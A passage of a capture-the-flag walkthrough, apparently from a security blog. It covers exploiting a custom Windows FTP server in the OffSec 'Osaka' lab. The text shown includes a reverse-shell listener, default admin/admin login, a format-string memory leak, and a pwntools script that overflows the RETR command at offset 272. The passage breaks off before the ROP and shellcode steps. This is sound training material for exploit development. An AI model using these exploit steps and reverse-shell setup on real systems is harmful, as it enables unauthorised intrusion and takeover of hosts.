            <content:encoded><![CDATA[<p>In this Art of Vector walkthrough, we take OffSec Proving Grounds Osaka from a sparse Windows port map to full administrator desktop access by chaining a custom FTP stack buffer overflow (WinDbg + Mona, ASLR leak, ROP, and <code>VirtualProtect</code>), then escalating with <code>SeDebugPrivilege</code> and psgetsys parent-process token theft to create a local admin account for RDP.</p>
<!-- -->
<p><strong>Lab only.</strong> All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="summary">Summary<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#summary" class="hash-link" aria-label="Direct link to Summary" title="Direct link to Summary" translate="no">​</a></h2>
<p>Osaka is a standalone Windows Server 2019 host (<code>OSAKA</code> workgroup). A full TCP scan shows FTP, SMB, and RDP. The custom FTP service on port <code>21</code> accepts <code>admin</code>/<code>admin</code> and exposes a hidden <code>DEBUG</code> command that leaks memory for ASLR bypass.</p>
<p>Exploit development happens on the <strong>Windows VM with WinDbg + Mona.py</strong> (<code>!mona</code> commands — same syntax as Immunity). The workflow: fuzz <code>RETR</code> → Mona pattern offset <strong>272</strong> → module protections (ASLR + DEP) → <code>DEBUG %x</code> leak delta <strong><code>0x10f0</code></strong> → Mona IAT for <code>VirtualProtect</code> at <strong><code>ftp+0x1e000</code></strong> → Mona ROP chain → msfvenom shellcode → remote <code>rce.py</code>. The callback lands as <code>osaka\wilson</code> with <strong>SeDebugPrivilege</strong> enabled. Parent-process impersonation via <a href="https://github.com/decoder-it/psgetsystem" target="_blank" rel="noopener noreferrer" class="">psgetsys</a> runs <code>net user</code> as SYSTEM, creating local admin <strong><code>aov</code></strong>. RDP completes the box.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="attack-chain-end-to-end">Attack chain (end-to-end)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#attack-chain-end-to-end" class="hash-link" aria-label="Direct link to Attack chain (end-to-end)" title="Direct link to Attack chain (end-to-end)" translate="no">​</a></h2>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">nmap → FTP login (admin/admin) → DEBUG leak discovery</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  → WinDbg attach ftp.exe → !mona pattern → offset 272</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  → !mona modules (ASLR+DEP) → !mona iat VirtualProtect → !mona rop</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  → msfvenom shellcode → rce.py → Penelope shell (wilson)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  → psgetsys → SYSTEM net user aov → RDP → Administrator desktop</span><br></div></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-0--kali-prep">Phase 0 — Kali prep<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-0--kali-prep" class="hash-link" aria-label="Direct link to Phase 0 — Kali prep" title="Direct link to Phase 0 — Kali prep" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="01-confirm-your-callback-ip">0.1 Confirm your callback IP<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#01-confirm-your-callback-ip" class="hash-link" aria-label="Direct link to 0.1 Confirm your callback IP" title="Direct link to 0.1 Confirm your callback IP" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ip -4 addr show</span><br></div></code></pre></div></div>
<p>Lab run used <strong><code>192.168.45.182</code></strong>. Every <code>LHOST</code> / listener must match the interface that routes to the Osaka VM.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="02-start-the-reverse-shell-handler">0.2 Start the reverse-shell handler<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#02-start-the-reverse-shell-handler" class="hash-link" aria-label="Direct link to 0.2 Start the reverse-shell handler" title="Direct link to 0.2 Start the reverse-shell handler" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">penelope -p 5555</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"># equivalent: nc -lvnp 5555</span><br></div></code></pre></div></div>
<p>Penelope output:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">[+] Listening for reverse shells on 0.0.0.0:5555 -&gt; 127.0.0.1 • 10.0.2.15 • 192.168.45.182</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="03-create-the-working-directory-on-kali">0.3 Create the working directory on Kali<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#03-create-the-working-directory-on-kali" class="hash-link" aria-label="Direct link to 0.3 Create the working directory on Kali" title="Direct link to 0.3 Create the working directory on Kali" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">mkdir -p ~/aov_lab/Osaka</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">cd ~/aov_lab/Osaka</span><br></div></code></pre></div></div>
<p>All exploit scripts (<code>check.py</code>, <code>rce.py</code>) live here.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-1--enumeration">Phase 1 — Enumeration<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-1--enumeration" class="hash-link" aria-label="Direct link to Phase 1 — Enumeration" title="Direct link to Phase 1 — Enumeration" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="11-full-port-scan">1.1 Full port scan<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#11-full-port-scan" class="hash-link" aria-label="Direct link to 1.1 Full port scan" title="Direct link to 1.1 Full port scan" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">nmap -sV -sC -p- 192.168.120.20 -v</span><br></div></code></pre></div></div>
<p>Notable open ports:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">PORT      STATE SERVICE       VERSION</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">21/tcp    open  ftp?</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| ftp-anon: Anonymous FTP login allowed (FTP code 230)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_Can't get directory listing: PASV failed: 500 PASV is not supported</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">135/tcp   open  msrpc         Microsoft Windows RPC</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">445/tcp   open  microsoft-ds?</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">3389/tcp  open  ms-wbt-server Microsoft Terminal Services</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| rdp-ntlm-info:</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   Target_Name: OSAKA</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   NetBIOS_Domain_Name: OSAKA</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   NetBIOS_Computer_Name: OSAKA</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   DNS_Domain_Name: osaka</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   DNS_Computer_Name: osaka</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   Product_Version: 10.0.17763</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)</span><br></div></code></pre></div></div>
<p>Host metadata:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Host:     Simple (Service Info)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">OS:       Windows Server 2019 Build 17763</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Workgroup/Domain: OSAKA</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">RDP:      3389 open</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">SMB signing: enabled but not required</span><br></div></code></pre></div></div>
<p><strong>Takeaways:</strong> FTP is the foothold. RDP is the finish line. PASV mode is broken (<code>500 PASV is not supported</code>) — use active FTP or scripted clients only.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="12-manual-ftp-interaction">1.2 Manual FTP interaction<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#12-manual-ftp-interaction" class="hash-link" aria-label="Direct link to 1.2 Manual FTP interaction" title="Direct link to 1.2 Manual FTP interaction" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ftp 192.168.120.20</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">220 Welcome</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">USER admin</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">331 Password required</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">PASS admin</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">230 User logged in</span><br></div></code></pre></div></div>
<p>After login, probe non-standard commands:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">DEBUG %x</span><br></div></code></pre></div></div>
<p>Example response:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">DEBUG: 0x00401f0a</span><br></div></code></pre></div></div>
<p>That hex value is a pointer inside <code>ftp.exe</code> — used later to defeat ASLR on every run.</p>
<p>Anonymous login also works (<code>ftp-anon</code> in nmap), but <strong><code>RETR</code> overflow testing requires the authenticated session</strong> in this lab.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="13-identify-the-vulnerable-binary">1.3 Identify the vulnerable binary<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#13-identify-the-vulnerable-binary" class="hash-link" aria-label="Direct link to 1.3 Identify the vulnerable binary" title="Direct link to 1.3 Identify the vulnerable binary" translate="no">​</a></h3>
<p>Once inside the shell (post-exploit), the service binary is visible:</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">C:\dev&gt; dir</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">05/11/2023  12:16 PM           158,208 ftp.exe</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">05/11/2023  12:25 PM                29 dev.txt</span><br></div></code></pre></div></div>
<p><code>dev.txt</code> contents:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">This is a development server.</span><br></div></code></pre></div></div>
<p>The overflow target is <strong><code>C:\dev\ftp.exe</code></strong> — a 32-bit custom FTP server, not IIS FTP.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-2--windbg--mona-setup-on-the-windows-vm">Phase 2 — WinDbg + Mona setup (on the Windows VM)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-2--windbg--mona-setup-on-the-windows-vm" class="hash-link" aria-label="Direct link to Phase 2 — WinDbg + Mona setup (on the Windows VM)" title="Direct link to Phase 2 — WinDbg + Mona setup (on the Windows VM)" translate="no">​</a></h2>
<p>All offset work happens <strong>attached to the crashing process</strong>. Do not guess ROP gadgets from a static disassembler alone.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="21-install-windbg-preview">2.1 Install WinDbg Preview<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#21-install-windbg-preview" class="hash-link" aria-label="Direct link to 2.1 Install WinDbg Preview" title="Direct link to 2.1 Install WinDbg Preview" translate="no">​</a></h3>
<p>On the Osaka VM (or a matching dev snapshot):</p>
<ol>
<li class="">Install <strong>WinDbg Preview</strong> from the Microsoft Store, or classic WinDbg from the Windows SDK.</li>
<li class="">Confirm it launches and can attach to user-mode processes.</li>
</ol>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="22-install-monapy">2.2 Install Mona.py<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#22-install-monapy" class="hash-link" aria-label="Direct link to 2.2 Install Mona.py" title="Direct link to 2.2 Install Mona.py" translate="no">​</a></h3>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain"># On the VM — download Corelan Mona</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">iwr https://raw.githubusercontent.com/corelan/mona/master/mona.py -OutFile C:\mona\mona.py</span><br></div></code></pre></div></div>
<p>Mona is a Python script. WinDbg loads it as a debugger extension command — you invoke it with <strong><code>!mona</code></strong>, exactly like Immunity Debugger.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="23-start-the-ftp-service-and-attach">2.3 Start the FTP service and attach<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#23-start-the-ftp-service-and-attach" class="hash-link" aria-label="Direct link to 2.3 Start the FTP service and attach" title="Direct link to 2.3 Start the FTP service and attach" translate="no">​</a></h3>
<p>Ensure <code>ftp.exe</code> is listening on port 21, then attach:</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">windbg -pn ftp.exe</span><br></div></code></pre></div></div>
<p>Or from an open WinDbg session:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">File → Attach to Process → ftp.exe</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="24-configure-mona-working-folder">2.4 Configure Mona working folder<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#24-configure-mona-working-folder" class="hash-link" aria-label="Direct link to 2.4 Configure Mona working folder" title="Direct link to 2.4 Configure Mona working folder" translate="no">​</a></h3>
<p>In the WinDbg command window:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">!mona config -set workingfolder c:\mona\%p</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">!mona config -get workingfolder</span><br></div></code></pre></div></div>
<p>Mona writes patterns, module lists, ROP output, and bytearray files under <code>c:\mona\&lt;pid&gt;\</code>.</p>
<blockquote>
<p><strong>Note:</strong> Some WinDbg Preview tutorials show <code>!py mona ...</code> when Mona is run as a raw Python script. When Mona is loaded correctly as a debugger extension, use <strong><code>!mona</code></strong> only — that is what this lab uses.</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="25-useful-windbg-commands-for-this-lab">2.5 Useful WinDbg commands for this lab<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#25-useful-windbg-commands-for-this-lab" class="hash-link" aria-label="Direct link to 2.5 Useful WinDbg commands for this lab" title="Direct link to 2.5 Useful WinDbg commands for this lab" translate="no">​</a></h3>
<table><thead><tr><th>Command</th><th>Purpose</th></tr></thead><tbody><tr><td><code>g</code></td><td>Go / continue execution</td></tr><tr><td><code>r eip</code></td><td>Show instruction pointer at crash</td></tr><tr><td><code>lm m ftp</code></td><td>Show <code>ftp.exe</code> load address (changes each run if ASLR)</td></tr><tr><td><code>!u ftp+0x10da</code></td><td>Disassemble gadget at offset</td></tr><tr><td><code>bp ftp+0x10da</code></td><td>Breakpoint on <code>jmp esp</code> to verify ROP landing</td></tr><tr><td><code>.reload /f ftp.exe</code></td><td>Reload symbols after crash/restart</td></tr></tbody></table>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-3--find-the-crash-retr-overflow">Phase 3 — Find the crash (<code>RETR</code> overflow)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-3--find-the-crash-retr-overflow" class="hash-link" aria-label="Direct link to phase-3--find-the-crash-retr-overflow" title="Direct link to phase-3--find-the-crash-retr-overflow" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="31-hypothesis">3.1 Hypothesis<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#31-hypothesis" class="hash-link" aria-label="Direct link to 3.1 Hypothesis" title="Direct link to 3.1 Hypothesis" translate="no">​</a></h3>
<p>The server copies the <strong><code>RETR &lt;filename&gt;</code></strong> argument into a fixed stack buffer with no bounds check. Oversized filenames corrupt the saved return address.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="32-first-crash-script-checkpy">3.2 First crash script (<code>check.py</code>)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#32-first-crash-script-checkpy" class="hash-link" aria-label="Direct link to 32-first-crash-script-checkpy" title="Direct link to 32-first-crash-script-checkpy" translate="no">​</a></h3>
<p>On Kali, with WinDbg attached to <code>ftp.exe</code>:</p>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">#!/usr/bin/env python</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">from</span><span class="token plain"> pwn </span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> remote</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"192.168.120.20"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">21</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">recvuntil</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"220"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">sendline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"USER admin"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">recvuntil</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"331"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">sendline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"PASS admin"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">recvuntil</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"230"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">recvline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">payload </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"A"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">500</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">sendline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"RETR "</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> payload</span><span class="token punctuation" style="color:#393A34">)</span><br></div></code></pre></div></div>
<p>Run:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">python3 check.py</span><br></div></code></pre></div></div>
<p>WinDbg breaks with an access violation — the FTP thread attempted to return to a corrupted address.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="33-confirm-eip-control">3.3 Confirm EIP control<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#33-confirm-eip-control" class="hash-link" aria-label="Direct link to 3.3 Confirm EIP control" title="Direct link to 3.3 Confirm EIP control" translate="no">​</a></h3>
<p>Send a deterministic payload:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">RETR AAA...272 bytes...BBBB</span><br></div></code></pre></div></div>
<p>In WinDbg after crash:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">r eip</span><br></div></code></pre></div></div>
<p>If <strong><code>EIP = 41414141</code></strong> or similar corrupted value, you control the return address at offset <strong>272</strong>.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-4--eip-offset-with-mona-pattern">Phase 4 — EIP offset with Mona pattern<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-4--eip-offset-with-mona-pattern" class="hash-link" aria-label="Direct link to Phase 4 — EIP offset with Mona pattern" title="Direct link to Phase 4 — EIP offset with Mona pattern" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="41-generate-the-pattern-on-vm-in-windbg">4.1 Generate the pattern (on VM, in WinDbg)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#41-generate-the-pattern-on-vm-in-windbg" class="hash-link" aria-label="Direct link to 4.1 Generate the pattern (on VM, in WinDbg)" title="Direct link to 4.1 Generate the pattern (on VM, in WinDbg)" translate="no">​</a></h3>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">!mona pattern_create 400</span><br></div></code></pre></div></div>
<p>Mona writes <code>pattern.txt</code> to <code>c:\mona\&lt;pid&gt;\</code>. Open it and copy the full cyclic string.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="42-trigger-crash-with-the-pattern">4.2 Trigger crash with the pattern<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#42-trigger-crash-with-the-pattern" class="hash-link" aria-label="Direct link to 4.2 Trigger crash with the pattern" title="Direct link to 4.2 Trigger crash with the pattern" translate="no">​</a></h3>
<p>Python one-liner or small script:</p>
